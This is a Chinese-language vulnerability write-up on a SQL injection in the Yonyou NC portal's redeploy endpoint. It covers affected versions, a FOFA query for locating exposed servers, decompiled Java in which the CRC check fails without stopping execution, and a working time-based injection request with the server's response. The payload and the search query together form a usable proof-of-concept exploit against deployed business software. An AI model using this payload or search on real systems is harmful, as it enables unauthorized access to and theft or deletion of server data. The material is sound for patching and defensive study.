漏洞简介
用友NC系统可利用redeploy传入的参数实现SQL注入,可窃取服务器敏感信息。
影响版本
NC63、NC633、NC65
fofa语法
app="用友-UFIDA-NC"
漏洞分析
根据官网漏洞通告,可知sql注入点为redeploy,通过搜索 redeploy 方法的定义即可找到所在文件

nc/uap/portal/action/PortalModuleManagerAction.class 文件
package nc.uap.portal.action;
import java.io.File;
import java.io.IOException;
import java.net.URL;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import nc.bs.framework.common.NCLocator;
import nc.bs.framework.common.RuntimeEnv;
import nc.uap.lfw.core.cache.ServiceCacheManger;
import nc.uap.lfw.core.crud.CRUDHelper;
import nc.uap.lfw.core.data.PaginationInfo;
import nc.uap.lfw.servletplus.annotation.Action;
import nc.uap.lfw.servletplus.annotation.Param;
import nc.uap.lfw.servletplus.annotation.Servlet;
import nc.uap.lfw.servletplus.core.impl.BaseAction;
import nc.uap.portal.deploy.PortalDeployer;
import nc.uap.portal.deploy.vo.PortalDeployDefinition;
import nc.uap.portal.log.PortalLogger;
import nc.uap.portal.service.PortalServiceUtil;
import nc.uap.portal.service.itf.IPortalDeployService;
import nc.uap.portal.util.ToolKit;
import nc.uap.portal.util.freemarker.FreeMarkerTools;
import nc.uap.portal.vo.PtModuleVO;
import nc.vo.ml.NCLangRes4VoTransl;
import org.apache.commons.io.FileUtils;
@Servlet(
path = "/M0dUlE"
)
public class PortalModuleManagerAction extends BaseAction {
public PortalModuleManagerAction() {
}
@Action
public void redeploy(@Param(name = "id") String id) {
if (!this.doCrc(id)) {
this.print("CRC ERROR");
}
try {
CRUDHelper.getCRUDService().executeUpdate("delete from pt_portlet where module = '" + id + "'");
CRUDHelper.getCRUDService().executeUpdate("delete from pt_portalpage where module = '" + id + "'");
CRUDHelper.getCRUDService().executeUpdate("DELETE FROM pt_preference WHERE portletname LIKE '" + id + ":%' OR pagename LIKE '" + id + ":%' ");
} catch (Exception e) {
PortalLogger.error(e.getMessage(), e);
}
String portalModuleDir = RuntimeEnv.getInstance().getNCHome() + "/portalhome";
File dir = new File(portalModuleDir + "/" + id);
if (dir.exists()) {
PortalDeployDefinition module = PortalServiceUtil.getPortalSpecService().parseModule(dir.getAbsolutePath());
IPortalDeployService pds = (IPortalDeployService)NCLocator.getInstance().lookup(IPortalDeployService.class);
pds.deployModule(module);
ServiceCacheManger.notify("_portlets_cache", "group_portlets_cache");
}
this.print("redeploy : ok!");
}
虽然 if (!this.doCrc(id)) {有判断,但是仅仅打印错误,并没有终止进程,导致进入下一个逻辑后 id 直接拼接进SQL语句,造成SQL注入漏洞,还是这么朴实无华!
漏洞复现
GET /portal/pt/M0dUlE/redeploy?id=1'AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,2)--&pageId=login HTTP/1.1
Host: nc65.mrxn.net
HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID=xx.server; Path=/portal/; HttpOnly
X-UA-Compatible: IE=8,9,10
Content-Type: text/html; charset=UTF-8
Date: Thu, 10 Jan 2024 11:42:31 GMT
Content-Length: 23
CRC ERRORredeploy : ok!

Payload 成功延时3倍,延时6秒。
参考
https://security.yonyou.com/#/noticeInfo?id=636


